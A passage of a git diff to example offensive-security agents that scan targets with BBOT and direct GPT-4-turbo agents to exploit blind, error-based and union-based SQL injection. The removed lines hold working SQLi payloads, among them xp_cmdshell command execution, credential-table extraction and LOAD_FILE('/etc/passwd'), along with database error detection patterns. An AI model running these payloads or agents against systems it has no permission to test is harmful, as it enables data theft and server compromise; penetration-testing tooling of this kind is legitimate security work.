finding: {e}") + + except Exception as e: + console.print(f"Error scanning {target}: {e}") + + dn.log_metric("total_findings", total_findings) + dn.log_metric("blind_confirmed", sqli_findings_count) + console.print(f"Hunt Summary:") + console.print(f" SQL injection candidates found: {total_findings}") + console.print(f" Blind SQL injection vulnerabilities confirmed: {sqli_findings_count}") + +async def analyze_finding_file(finding_file: Path, debug: bool = False) -> None: + """Analyze SQL injection findings from a JSON file.""" + + with dn.run("blind-sqli-analyze"): try: - with open(args.finding_file) as f: + with finding_file.open() as f: findings = json.load(f) if not isinstance(findings, list): findings = [findings] - confirmed_count = 0 - time_based_count = 0 - boolean_based_count = 0 - + sqli_count = 0 for finding in findings: - analysis_result = await analyze_blind_sqli(finding) - - if analysis_result["has_sqli"]: - confirmed_count += 1 - techniques = analysis_result["techniques"] - console.print(f"[+] BLIND SQLi CONFIRMED: {analysis_result['host']}") - console.print(f" Techniques: {', '.join(techniques)}") + if is_sqli_finding(finding): + analysis_result = await analyze_sqli_finding(finding) - if "time-based" in techniques: - time_based_count += 1 - if "boolean-based" in techniques: - boolean_based_count += 1 - else: - console.print(f"[-] No blind SQLi: {finding.get('data', {}).get('host')}") - - dn.log_metric("total_blind_sqli_confirmed", confirmed_count) - dn.log_metric("time_based_confirmed", time_based_count) - dn.log_metric("boolean_based_confirmed", boolean_based_count) + if debug: + console.print(f"Tools used: {', '.join(analysis_result['tools_used'])}") + + if analysis_result["has_sqli"]: + sqli_count += 1 + console.print(f"Blind SQL injection confirmed") + else: + console.print(f"No blind SQL injection exploitation possible") - console.print(f"\nBlind SQLi Summary:") - console.print(f" Total confirmed: {confirmed_count}") - console.print(f" Time-based: {time_based_count}") - console.print(f" Boolean-based: {boolean_based_count}") + dn.log_metric("blind_findings", sqli_count) except Exception as e: - console.print(f"Error: {e}") + console.print(f"Error analyzing findings file: {e}") + +async def main() -> None: + parser = argparse.ArgumentParser(description="Blind SQL injection vulnerability hunter") + subparsers = parser.add_subparsers(dest="command", help="Available commands") + + hunt_parser = subparsers.add_parser("hunt", help="Hunt for blind SQL injection vulnerabilities using BBOT") + hunt_parser.add_argument("--targets", type=Path, help="Path to file containing targets") + hunt_parser.add_argument("--presets", nargs="*", help="BBOT presets to use") + hunt_parser.add_argument("--modules", nargs="*", help="BBOT modules to use") + hunt_parser.add_argument("--flags", nargs="*", help="BBOT flags to use") + hunt_parser.add_argument("--config", type=Path, help="Path to config file") + + analyze_parser = subparsers.add_parser("analyze", help="Analyze SQL injection findings from JSON file") + analyze_parser.add_argument("finding_file", type=Path, help="JSON file containing BBOT findings") + analyze_parser.add_argument("--debug", action="store_true", help="Show debug information") + + args = parser.parse_args() + + if args.command == "hunt": + await hunt_from_bbot_scan(args.targets, args.presets, args.modules, args.flags, args.config) + elif args.command == "analyze": + await analyze_finding_file(args.finding_file, args.debug) + else: + parser.print_help() if __name__ == "__main__": asyncio.run(main()) \ No newline at end of file diff --git a/examples/agents/error_based_sqli/agent.py b/examples/agents/error_based_sqli/agent.py index 30b4842f..d0869387 100644 --- a/examples/agents/error_based_sqli/agent.py +++ b/examples/agents/error_based_sqli/agent.py @@ -1,6 +1,7 @@ import argparse import asyncio import json +import time import typing as t from pathlib import Path @@ -17,212 +18,86 @@ console = Console() -# Error-based SQLi focused payloads -ERROR_BASED_PAYLOADS = [ - # Basic error triggers - "'", "\"", "'))", "')", "\")", - - # MySQL error-based - "' AND (SELECT * FROM (SELECT COUNT(*),CONCAT(0x7e,VERSION(),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--", - "' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))--", - "' AND ROW(1,1)>(SELECT COUNT(*),CONCAT(0x7e,DATABASE(),0x7e,FLOOR(RAND()*2))x FROM(SELECT 1 UNION SELECT 2)a GROUP BY x LIMIT 1)--", - - # PostgreSQL error-based - "' AND CAST(VERSION() AS INT)--", - "' AND 1::text LIKE 1--", - "' AND (SELECT * FROM GENERATE_SERIES(1,1000))--", - - # MSSQL error-based - "' AND CONVERT(INT,@@VERSION)--", - "' AND CAST(@@version AS INT)--", - "'; EXEC xp_cmdshell('whoami')--", - - # Oracle error-based - "' AND UPPER(XMLType(CHR(60)||CHR(58)||(SELECT user FROM dual)||CHR(62))) IS NOT NULL--", - "' AND EXTRACTVALUE(XMLType(''||(SELECT banner FROM v$version WHERE rownum=1)||''),'/root') IS NOT NULL--", - - # XML/XPATH errors - "' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))--", - "' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version),0x7e),1)--", -] - -# Database error patterns for detection -ERROR_PATTERNS = { - 'mysql': [ - 'mysql_fetch_array()', - 'mysql_num_rows()', - 'you have an error in your sql syntax', - 'warning: mysql', - 'function.mysql', - 'mysql result index', - 'mysql error', - 'mysql_query()', - 'num_rows', - 'mysql_error', - 'supplied argument is not a valid mysql', - 'column count doesn\'t match value count at row', - 'mysql server version for the right syntax to use', - 'operand should contain 1 column()', - ], - 'postgresql': [ - 'postgresql query failed', - 'warning: pg_', - 'valid postgresql result', - 'npgsql', - 'pg_query()', - 'pg_exec()', - 'function.pg', - 'postgresql result index', - 'pg_result', - 'pg_exec() expects', - 'query failed: error: column', - 'pg_num_rows()', - 'query failed: error: relation', - 'pgsql', - 'supplied argument is not a valid pgsql', - 'unterminated quoted string at or near', - ], - 'mssql': [ - 'driver.*sql server', - 'ole db.*sql server', - 'microsoft sql server', - 'sqlserver', - 'mssql', - 'sql server', - 'microsoft.jet.oledb', - 'microsoft ole db provider', - 'unclosed quotation mark after the character string', - 'incorrect syntax near', - 'system.data.oledb.oledbexception', - 'system.data.sqlclient.sqlexception', - 'microsoft.jet', - 'odbc.*sql server', - 'sqloledb', - 'convert.*varchar.*int', - ], - 'oracle': [ - 'oci_parse', - 'oci_execute', - 'oracle.exe', - 'oracle driver', - 'warning: oci_', - 'warning: ora_', - 'ora-[0-9]+', - 'oracle error', - 'oracle.*driver', - 'function.oci', - 'quoted string not properly terminated', - 'sql command not properly ended', - 'missing expression', - 'invalid number', - 'ora-00933', - 'ora-00921', - 'ora-00936', - ] -} - -@dn.task(name="Error-Based SQLi Analysis", label="analyze_error_sqli") -async def analyze_error_based_sqli(finding_data: dict[str, t.Any]) -> dict[str, t.Any]: - """Analyze a finding specifically for error-based SQL injection.""" - agent = create_error_based_sqli_agent() +@dn.task(name="Analyze Error-Based SQLi Finding", label="analyze_error_sqli_finding") +async def analyze_sqli_finding(finding_data: dict[str, t.Any]) -> dict[str, t.Any]: + """Analyze a BBOT SQL injection finding for error-based exploitability.""" + sqli_agent = create_sqli_agent() url = finding_data.get('data', {}).get('url', '') host = finding_data.get('data', {}).get('host', '') description = finding_data.get('data', {}).get('description', '') param_name = extract_param_name(description) + param_type = extract_param_type(description) original_value = extract_original_value(description) - console.print(f"[*] Testing ERROR-BASED SQL injection on {host}") - console.print(f" URL: {url}") - console.print(f" Parameter: {param_name}") - - # Build focused prompt with error-based context - prompt = f"""Target: {url} -Parameter: {param_name} -Original Value: {original_value} - -MISSION: Test this parameter specifically for ERROR-BASED SQL injection vulnerabilities. - -METHODOLOGY: -1. Start with basic error triggers: single quotes, double quotes -2. Progress to database-specific error-based payloads -3. Analyze error messages for database type identification -4. Attempt data extraction via error messages -5. Log findings with specific error patterns detected + result = await sqli_agent.run( + f"Analyze the potential SQL injection vulnerability at {url} using parameter '{param_name}'. " + f"The original parameter value was: {original_value}\n\n" + f"Focus on ERROR-BASED SQL injection techniques. Test for database errors that leak information. " + f"Start simple and adapt based on error messages you receive." + ) -Focus ONLY on error-based techniques. Look for verbose error messages that leak information about the database structure, version, or data. + tool_outputs = {} + tools_used = [] + + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tool_name = tool_call.function.name + tools_used.append(tool_name) + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content -Use your HTTP tools to test the payloads systematically and analyze response differences.""" + finding_stored = "store_sqli_finding" in tools_used + has_sqli = finding_stored + if result.messages and result.messages[-1].content: + has_sqli = has_sqli or any( + phrase in result.messages[-1].content.lower() + for phrase in [ + "error-based injection confirmed", + "database error detected", + "mysql error", + "postgresql error", + "oracle error", + "mssql error", + "sql syntax error", + "database version extracted", + "error message leaked", + ] + ) - result = await agent.run(prompt) - - # Process results with error-based specific logic - has_error_sqli = analyze_error_responses(result) - db_type = detect_database_type(result) - - dn.log_metric("error_based_sqli_found", 1 if has_error_sqli else 0) - dn.log_metric("database_type_detected", 1 if db_type else 0) + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("has_error_sqli", 1 if has_sqli else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) - return { + analysis_result = { "url": url, "host": host, "parameter": param_name, - "vulnerability_type": "error_based_sqli", - "has_sqli": has_error_sqli, - "database_type": db_type, + "param_type": param_type, + "tools_used": tools_used, + "tool_outputs": tool_outputs, "analysis": result.messages[-1].content if result.messages else None, - "detection_method": "error_message_analysis" + "steps": result.steps, + "has_sqli": has_sqli, + "stored_in_db": finding_stored, + "original_finding": finding_data } -def analyze_error_responses(result: AgentResult) -> bool: - """Analyze agent responses for error-based SQLi indicators.""" - if not result.messages: - return False - - content = ' '.join([msg.content for msg in result.messages if msg.content]).lower() - - # Check for error-based SQLi success indicators - success_indicators = [ - 'database error detected', - 'sql syntax error', - 'mysql error message', - 'postgresql error', - 'oracle error', - 'mssql error', - 'version information leaked', - 'database version', - 'table information exposed', - 'column count error', - 'syntax error in sql', - 'error message contains', - 'verbose error' - ] - - return any(indicator in content for indicator in success_indicators) + return analysis_result -def detect_database_type(result: AgentResult) -> str: - """Detect database type from error messages in agent output.""" - if not result.messages: - return "" - - content = ' '.join([msg.content for msg in result.messages if msg.content]).lower() - - # Check patterns for each database type - for db_type, patterns in ERROR_PATTERNS.items(): - if any(pattern.lower() in content for pattern in patterns): - return db_type - - return "" - -def create_error_based_sqli_agent() -> Agent: - """Create an error-based SQL injection specialist agent.""" - tools = [KaliTool(), BBotTool(), Neo4jTool()] - - error_based_context = """ -ERROR-BASED SQL INJECTION SPECIALIST +def create_sqli_agent() -> Agent: + """Create an error-based SQL injection analysis agent.""" + tools = [BBotTool(), KaliTool(), Neo4jTool()] -You are an expert focused EXCLUSIVELY on error-based SQL injection techniques. + return Agent( + name="error-based-sqli-agent", + description="An agent that analyzes and exploits error-based SQL injection vulnerabilities", + model="gpt-4-turbo", + tools=tools, + instructions="""You are an expert at analyzing and exploiting error-based SQL injection vulnerabilities. Your mission is to trigger verbose database errors that leak information. Start simple and adapt based on what you discover: @@ -232,17 +107,9 @@ def create_error_based_sqli_agent() -> Agent: 4. Extract information progressively through error message analysis 5. Document findings and iterate your approach based on responses -Key principle: Let the application's responses guide your next steps. Each error message tells you something about the backend. +Use the http_request tool to test payloads systematically. Let the application's responses guide your next steps. -Use the http_request tool to test payloads systematically. Analyze error patterns and adapt your approach. -""" - - return Agent( - name="error-based-sqli-agent", - description="Specialized agent for error-based SQL injection detection and exploitation", - model="gpt-4-turbo", - tools=tools, - instructions=error_based_context, +If you confirm error-based SQL injection exists, use store_sqli_finding to record the vulnerability.""", ) def extract_param_name(description: str) -> str: @@ -253,6 +120,14 @@ def extract_param_name(description: str) -> str: return description[start:end] if end > start else "unknown" return "unknown" +def extract_param_type(description: str) -> str: + """Extract parameter type from BBOT finding description.""" + if "Parameter Type: [" in description: + start = description.find("Parameter Type: [") + 17 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + def extract_original_value(description: str) -> str: """Extract original parameter value from BBOT finding description.""" if "Original Value: [" in description: @@ -261,39 +136,152 @@ def extract_original_value(description: str) -> str: return description[start:end] if end > start else "" return "" -async def main(): - parser = argparse.ArgumentParser(description="Error-based SQL injection specialist") - parser.add_argument("finding_file", type=Path, help="JSON file containing SQLi findings") - parser.add_argument("--debug", action="store_true", help="Debug mode") +def is_sqli_finding(event: dict[str, t.Any]) -> bool: + """Check if a BBOT event is a SQL injection finding.""" + if event.get('type') != 'FINDING': + return False - args = parser.parse_args() + description = event.get('data', {}).get('description', '') + return 'SQL Injection' in description + +async def hunt_from_bbot_scan( + targets: Path | None = None, + presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: Path | dict[str, t.Any] | None = None, +) -> None: + """Hunt for error-based SQL injection vulnerabilities from BBOT scan findings.""" + if isinstance(targets, Path): + with targets.open() as f: + targets = [line.strip() for line in f.readlines() if line.strip()] + + if not targets: + console.print("Error: No targets provided.") + return + with dn.run("error-based-sqli-hunt"): - console.print("Starting ERROR-BASED SQL injection analysis...") + dn.log_params( + target_count=len(targets), + presets=presets or [], + modules=modules or [], + flags=flags or [], + ) + + console.print(f"Starting error-based SQL injection hunt on {len(targets)} targets...") + + sqli_findings_count = 0 + total_findings = 0 + + tool = BBotTool() + scan_modules = modules or ["httpx", "excavate", "hunt"] + for target in targets: + try: + scan_config = config or {"omit_event_types": []} + + events = tool.run( + target=target, + presets=presets, + modules=scan_modules, + flags=flags, + config=scan_config, + ) + + async for event in events: + if is_sqli_finding(event): + total_findings += 1 + + try: + analysis_result = await analyze_sqli_finding(event) + + if analysis_result["has_sqli"]: + sqli_findings_count += 1 + + security_finding = { + "url": analysis_result["url"], + "host": analysis_result["host"], + "parameter": analysis_result["parameter"], + "finding_type": "error_based_sqli", + "risk_level": "high", + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "timestamp": time.time(), + "stored_in_db": analysis_result["stored_in_db"], + } + + dn.log_output(f"error_sqli_finding_{analysis_result['host']}", security_finding) + console.print(f"Error-based SQL injection confirmed on {analysis_result['host']}") + else: + console.print(f"Error-based SQL injection not exploitable on {event.get('host')}") + + except Exception as e: + console.print(f"Error analyzing SQL injection finding: {e}") + + except Exception as e: + console.print(f"Error scanning {target}: {e}") + + dn.log_metric("total_findings", total_findings) + dn.log_metric("error_based_confirmed", sqli_findings_count) + + console.print(f"Hunt Summary:") + console.print(f" SQL injection candidates found: {total_findings}") + console.print(f" Error-based SQL injection vulnerabilities confirmed: {sqli_findings_count}") + +async def analyze_finding_file(finding_file: Path, debug: bool = False) -> None: + """Analyze SQL injection findings from a JSON file.""" + + with dn.run("error-based-sqli-analyze"): try: - with open(args.finding_file) as f: + with finding_file.open() as f: findings = json.load(f) if not isinstance(findings, list): findings = [findings] - confirmed_count = 0 + sqli_count = 0 for finding in findings: - analysis_result = await analyze_error_based_sqli(finding) - - if analysis_result["has_sqli"]: - confirmed_count += 1 - console.print(f"[+] ERROR-BASED SQLi CONFIRMED: {analysis_result['host']}") - console.print(f" Database: {analysis_result['database_type']}") - else: - console.print(f"[-] No error-based SQLi: {finding.get('data', {}).get('host')}") + if is_sqli_finding(finding): + analysis_result = await analyze_sqli_finding(finding) + + if debug: + console.print(f"Tools used: {', '.join(analysis_result['tools_used'])}") + + if analysis_result["has_sqli"]: + sqli_count += 1 + console.print(f"Error-based SQL injection confirmed") + else: + console.print(f"No error-based SQL injection exploitation possible") - dn.log_metric("total_error_sqli_confirmed", confirmed_count) - console.print(f"\nError-based SQLi Summary: {confirmed_count} confirmed") + dn.log_metric("error_based_findings", sqli_count) except Exception as e: - console.print(f"Error: {e}") + console.print(f"Error analyzing findings file: {e}") + +async def main() -> None: + parser = argparse.ArgumentParser(description="Error-based SQL injection vulnerability hunter") + subparsers = parser.add_subparsers(dest="command", help="Available commands") + + hunt_parser = subparsers.add_parser("hunt", help="Hunt for error-based SQL injection vulnerabilities using BBOT") + hunt_parser.add_argument("--targets", type=Path, help="Path to file containing targets") + hunt_parser.add_argument("--presets", nargs="*", help="BBOT presets to use") + hunt_parser.add_argument("--modules", nargs="*", help="BBOT modules to use") + hunt_parser.add_argument("--flags", nargs="*", help="BBOT flags to use") + hunt_parser.add_argument("--config", type=Path, help="Path to config file") + + analyze_parser = subparsers.add_parser("analyze", help="Analyze SQL injection findings from JSON file") + analyze_parser.add_argument("finding_file", type=Path, help="JSON file containing BBOT findings") + analyze_parser.add_argument("--debug", action="store_true", help="Show debug information") + + args = parser.parse_args() + + if args.command == "hunt": + await hunt_from_bbot_scan(args.targets, args.presets, args.modules, args.flags, args.config) + elif args.command == "analyze": + await analyze_finding_file(args.finding_file, args.debug) + else: + parser.print_help() if __name__ == "__main__": asyncio.run(main()) \ No newline at end of file diff --git a/examples/agents/union_based_sqli/agent.py b/examples/agents/union_based_sqli/agent.py index 310e1fd6..34db82b2 100644 --- a/examples/agents/union_based_sqli/agent.py +++ b/examples/agents/union_based_sqli/agent.py @@ -13,237 +13,90 @@ from dreadnode.agent.tools.bbot.tool import BBotTool from dreadnode.agent.tools.kali.tool import KaliTool from dreadnode.agent.tools.neo4j.tool import Neo4jTool -from dreadnode.agent.tools.oast.tool import OastTool dn.configure(server=None, token=None, project="union-based-sqli-agent", console=False) console = Console() -# Union-based SQLi focused payloads -UNION_COLUMN_DETECTION = [ - # Column counting techniques - "' ORDER BY 1--", - "' ORDER BY 2--", - "' ORDER BY 3--", - "' ORDER BY 4--", - "' ORDER BY 5--", - "' ORDER BY 10--", - "' ORDER BY 20--", - "' ORDER BY 50--", - - # Alternative column counting - "' GROUP BY 1--", - "' GROUP BY 2--", - "' GROUP BY 3--", - "' GROUP BY 4--", - "' GROUP BY 5--", - - # Union null injection - "' UNION SELECT NULL--", - "' UNION SELECT NULL,NULL--", - "' UNION SELECT NULL,NULL,NULL--", - "' UNION SELECT NULL,NULL,NULL,NULL--", - "' UNION SELECT NULL,NULL,NULL,NULL,NULL--", -] - -UNION_DATA_EXTRACTION = [ - # Basic union with version/database info - "' UNION SELECT @@version,NULL,NULL--", - "' UNION SELECT version(),NULL,NULL--", - "' UNION SELECT database(),NULL,NULL--", - "' UNION SELECT user(),NULL,NULL--", - "' UNION SELECT current_user(),NULL,NULL--", - - # Information schema queries - "' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--", - "' UNION SELECT column_name,NULL,NULL FROM information_schema.columns--", - "' UNION SELECT table_name,column_name,NULL FROM information_schema.columns--", - "' UNION SELECT schema_name,NULL,NULL FROM information_schema.schemata--", - - # Common table data extraction - "' UNION SELECT username,password,NULL FROM users--", - "' UNION SELECT login,pass,NULL FROM admin--", - "' UNION SELECT email,password,NULL FROM accounts--", - "' UNION SELECT name,value,NULL FROM config--", - - # File reading (MySQL) - "' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL--", - "' UNION SELECT LOAD_FILE('C:\\windows\\system32\\drivers\\etc\\hosts'),NULL,NULL--", - - # Advanced data extraction - "' UNION SELECT GROUP_CONCAT(table_name),NULL,NULL FROM information_schema.tables WHERE table_schema=database()--", - "' UNION SELECT GROUP_CONCAT(column_name),NULL,NULL FROM information_schema.columns WHERE table_name='users'--", -] - -UNION_ERROR_PATTERNS = [ - # Column count mismatch errors - "the used select statements have a different number of columns", - "column count doesn't match", - "operand should contain 1 column", - "each union query must have the same number of columns", - "number of columns in select list must match", - "column count mismatch", - "different number of expressions", -] - -@dn.task(name="Union-Based SQLi Analysis", label="analyze_union_sqli") -async def analyze_union_based_sqli(finding_data: dict) -> dict: - """Analyze a finding specifically for union-based SQL injection.""" - agent = create_union_based_sqli_agent() +@dn.task(name="Analyze Union-Based SQLi Finding", label="analyze_union_sqli_finding") +async def analyze_sqli_finding(finding_data: dict[str, t.Any]) -> dict[str, t.Any]: + """Analyze a BBOT SQL injection finding for union-based exploitability.""" + sqli_agent = create_sqli_agent() url = finding_data.get('data', {}).get('url', '') host = finding_data.get('data', {}).get('host', '') description = finding_data.get('data', {}).get('description', '') param_name = extract_param_name(description) + param_type = extract_param_type(description) original_value = extract_original_value(description) - console.print(f"[*] Testing UNION-BASED SQL injection on {host}") - console.print(f" URL: {url}") - console.print(f" Parameter: {param_name}") - - # Build focused prompt with union-specific context - prompt = f"""Target: {url} -Parameter: {param_name} -Original Value: {original_value} - -MISSION: Test this parameter specifically for UNION-BASED SQL injection vulnerabilities. - -UNION SQLI METHODOLOGY: -1. COLUMN COUNT ENUMERATION: - - Use ORDER BY technique to determine column count - - Start with ORDER BY 1, increment until error - - Alternative: Use GROUP BY for column counting - - Document exact error message when count exceeded - -2. UNION NULL INJECTION: - - Once column count known, test UNION SELECT with NULLs - - Match exact number of columns from enumeration - - Confirm union query executes without errors - - Test data type compatibility - -3. DATA EXTRACTION: - - Replace NULLs with actual data queries - - Extract database version, name, current user - - Query information_schema for tables/columns - - Attempt to extract sensitive data from tables - -4. ADVANCED TECHNIQUES: - - Use GROUP_CONCAT for multiple row results - - Test file reading with LOAD_FILE() (MySQL) - - Try INTO OUTFILE for file writing (if writable) - - Test for privilege escalation opportunities - -Focus ONLY on union-based techniques. Look for successful data extraction via UNION SELECT. - -Test payloads systematically, starting with column enumeration then progressing to data extraction.""" - - result = await agent.run(prompt) - - # Process results with union-specific logic - column_count = extract_column_count(result) - has_union_sqli = analyze_union_responses(result) - extracted_data = extract_union_data(result) + result = await sqli_agent.run( + f"Analyze the potential SQL injection vulnerability at {url} using parameter '{param_name}'. " + f"The original parameter value was: {original_value}\n\n" + f"Focus on UNION-BASED SQL injection techniques. Test for direct data extraction via UNION SELECT. " + f"Start with column structure discovery and adapt based on responses you receive." + ) + + tool_outputs = {} + tools_used = [] - dn.log_metric("union_sqli_found", 1 if has_union_sqli else 0) - dn.log_metric("column_count_determined", 1 if column_count > 0 else 0) - dn.log_metric("data_extracted", 1 if extracted_data else 0) + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tool_name = tool_call.function.name + tools_used.append(tool_name) + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content + + finding_stored = "store_sqli_finding" in tools_used + has_sqli = finding_stored + if result.messages and result.messages[-1].content: + has_sqli = has_sqli or any( + phrase in result.messages[-1].content.lower() + for phrase in [ + "union injection confirmed", + "union select successful", + "column count determined", + "data extracted via union", + "database version extracted", + "table names retrieved", + "union-based injection", + "information_schema accessed", + ] + ) + + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("has_union_sqli", 1 if has_sqli else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) - return { + analysis_result = { "url": url, "host": host, "parameter": param_name, - "vulnerability_type": "union_based_sqli", - "has_sqli": has_union_sqli, - "column_count": column_count, - "extracted_data": extracted_data, + "param_type": param_type, + "tools_used": tools_used, + "tool_outputs": tool_outputs, "analysis": result.messages[-1].content if result.messages else None, - "detection_method": "union_select_data_extraction" + "steps": result.steps, + "has_sqli": has_sqli, + "stored_in_db": finding_stored, + "original_finding": finding_data } -def extract_column_count(result: AgentResult) -> int: - """Extract determined column count from agent analysis.""" - if not result.messages: - return 0 - - content = ' '.join([msg.content for msg in result.messages if msg.content]).lower() - - # Look for column count mentions - import re - column_patterns = [ - r'column count is (\d+)', - r'(\d+) columns detected', - r'order by (\d+) successful', - r'union with (\d+) columns', - r'table has (\d+) columns' - ] - - for pattern in column_patterns: - match = re.search(pattern, content) - if match: - return int(match.group(1)) - - return 0 + return analysis_result -def analyze_union_responses(result: AgentResult) -> bool: - """Analyze agent responses for union-based SQLi indicators.""" - if not result.messages: - return False - - content = ' '.join([msg.content for msg in result.messages if msg.content]).lower() - - # Check for union-based SQLi success indicators - union_indicators = [ - 'union select successful', - 'union injection confirmed', - 'column count determined', - 'data extracted via union', - 'union query executed', - 'information_schema accessed', - 'database version extracted', - 'table names retrieved', - 'column names retrieved', - 'union-based injection', - 'successful union query', - 'data enumeration successful', - 'union select results', - 'schema information extracted' - ] - - return any(indicator in content for indicator in union_indicators) - -def extract_union_data(result: AgentResult) -> list: - """Extract any data that was successfully retrieved via union injection.""" - if not result.messages: - return [] - - content = ' '.join([msg.content for msg in result.messages if msg.content]) - extracted = [] - - # Look for common data extraction patterns - if 'database version' in content.lower(): - extracted.append('database_version') - if 'database name' in content.lower(): - extracted.append('database_name') - if 'table names' in content.lower(): - extracted.append('table_names') - if 'column names' in content.lower(): - extracted.append('column_names') - if 'user data' in content.lower() or 'username' in content.lower(): - extracted.append('user_data') - if 'file contents' in content.lower(): - extracted.append('file_contents') - - return extracted +def create_sqli_agent() -> Agent: + """Create a union-based SQL injection analysis agent.""" + tools = [BBotTool(), KaliTool(), Neo4jTool()] -def create_union_based_sqli_agent() -> Agent: - """Create a union-based SQL injection specialist agent.""" - tools = [KaliTool(), BBotTool(), Neo4jTool()] - - union_sqli_context = """ -UNION-BASED SQL INJECTION SPECIALIST - -You are an expert focused EXCLUSIVELY on union-based SQL injection techniques. + return Agent( + name="union-based-sqli-agent", + description="An agent that analyzes and exploits union-based SQL injection vulnerabilities", + model="gpt-4-turbo", + tools=tools, + instructions="""You are an expert at analyzing and exploiting union-based SQL injection vulnerabilities. Your mission is to exploit SQL injection through UNION SELECT statements to directly extract data. @@ -256,17 +109,11 @@ def create_union_based_sqli_agent() -> Agent: The key insight: union-based injection gives you direct data access. Start simple and build complexity based on what works. -Each application will behave differently. Some block certain keywords, others have data type restrictions, others limit result lengths. Adapt your approach based on the responses you receive. +Each application will behave differently. Some block certain keywords, others have data type restrictions, others limit result lengths. Use the http_request tool to test union payloads systematically. Let the application responses guide your technique selection. -""" - return Agent( - name="union-based-sqli-agent", - description="Specialized agent for union-based SQL injection detection and exploitation", - model="gpt-4-turbo", - tools=tools, - instructions=union_sqli_context, +If you confirm union-based SQL injection exists, use store_sqli_finding to record the vulnerability.""", ) def extract_param_name(description: str) -> str: @@ -277,6 +124,14 @@ def extract_param_name(description: str) -> str: return description[start:end] if end > start else "unknown" return "unknown" +def extract_param_type(description: str) -> str: + """Extract parameter type from BBOT finding description.""" + if "Parameter Type: [" in description: + start = description.find("Parameter Type: [") + 17 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + def extract_original_value(description: str) -> str: """Extract original parameter value from BBOT finding description.""" if "Original Value: [" in description: @@ -285,52 +140,152 @@ def extract_original_value(description: str) -> str: return description[start:end] if end > start else "" return "" -async def main(): - parser = argparse.ArgumentParser(description="Union-based SQL injection specialist") - parser.add_argument("finding_file", type=Path, help="JSON file containing SQLi findings") - parser.add_argument("--debug", action="store_true", help="Debug mode") +def is_sqli_finding(event: dict[str, t.Any]) -> bool: + """Check if a BBOT event is a SQL injection finding.""" + if event.get('type') != 'FINDING': + return False - args = parser.parse_args() + description = event.get('data', {}).get('description', '') + return 'SQL Injection' in description + +async def hunt_from_bbot_scan( + targets: Path | None = None, + presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: Path | dict[str, t.Any] | None = None, +) -> None: + """Hunt for union-based SQL injection vulnerabilities from BBOT scan findings.""" + if isinstance(targets, Path): + with targets.open() as f: + targets = [line.strip() for line in f.readlines() if line.strip()] + + if not targets: + console.print("Error: No targets provided.") + return + with dn.run("union-based-sqli-hunt"): - console.print("Starting UNION-BASED SQL injection analysis...") + dn.log_params( + target_count=len(targets), + presets=presets or [], + modules=modules or [], + flags=flags or [], + ) + + console.print(f"Starting union-based SQL injection hunt on {len(targets)} targets...") + + sqli_findings_count = 0 + total_findings = 0 + + tool = BBotTool() + scan_modules = modules or ["httpx", "excavate", "hunt"] + for target in targets: + try: + scan_config = config or {"omit_event_types": []} + + events = tool.run( + target=target, + presets=presets, + modules=scan_modules, + flags=flags, + config=scan_config, + ) + + async for event in events: + if is_sqli_finding(event): + total_findings += 1 + + try: + analysis_result = await analyze_sqli_finding(event) + + if analysis_result["has_sqli"]: + sqli_findings_count += 1 + + security_finding = { + "url": analysis_result["url"], + "host": analysis_result["host"], + "parameter": analysis_result["parameter"], + "finding_type": "union_based_sqli", + "risk_level": "high", + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "timestamp": time.time(), + "stored_in_db": analysis_result["stored_in_db"], + } + + dn.log_output(f"union_sqli_finding_{analysis_result['host']}", security_finding) + console.print(f"Union-based SQL injection confirmed on {analysis_result['host']}") + else: + console.print(f"Union-based SQL injection not exploitable on {event.get('host')}") + + except Exception as e: + console.print(f"Error analyzing SQL injection finding: {e}") + + except Exception as e: + console.print(f"Error scanning {target}: {e}") + + dn.log_metric("total_findings", total_findings) + dn.log_metric("union_confirmed", sqli_findings_count) + + console.print(f"Hunt Summary:") + console.print(f" SQL injection candidates found: {total_findings}") + console.print(f" Union-based SQL injection vulnerabilities confirmed: {sqli_findings_count}") + +async def analyze_finding_file(finding_file: Path, debug: bool = False) -> None: + """Analyze SQL injection findings from a JSON file.""" + + with dn.run("union-based-sqli-analyze"): try: - with open(args.finding_file) as f: + with finding_file.open() as f: findings = json.load(f) if not isinstance(findings, list): findings = [findings] - confirmed_count = 0 - data_extracted_count = 0 - + sqli_count = 0 for finding in findings: - analysis_result = await analyze_union_based_sqli(finding) - - if analysis_result["has_sqli"]: - confirmed_count += 1 - column_count = analysis_result["column_count"] - extracted_data = analysis_result["extracted_data"] + if is_sqli_finding(finding): + analysis_result = await analyze_sqli_finding(finding) - console.print(f"[+] UNION-BASED SQLi CONFIRMED: {analysis_result['host']}") - console.print(f" Column count: {column_count}") - console.print(f" Data extracted: {', '.join(extracted_data) if extracted_data else 'None'}") + if debug: + console.print(f"Tools used: {', '.join(analysis_result['tools_used'])}") - if extracted_data: - data_extracted_count += 1 - else: - console.print(f"[-] No union-based SQLi: {finding.get('data', {}).get('host')}") + if analysis_result["has_sqli"]: + sqli_count += 1 + console.print(f"Union-based SQL injection confirmed") + else: + console.print(f"No union-based SQL injection exploitation possible") - dn.log_metric("total_union_sqli_confirmed", confirmed_count) - dn.log_metric("successful_data_extraction", data_extracted_count) - - console.print(f"\nUnion-based SQLi Summary:") - 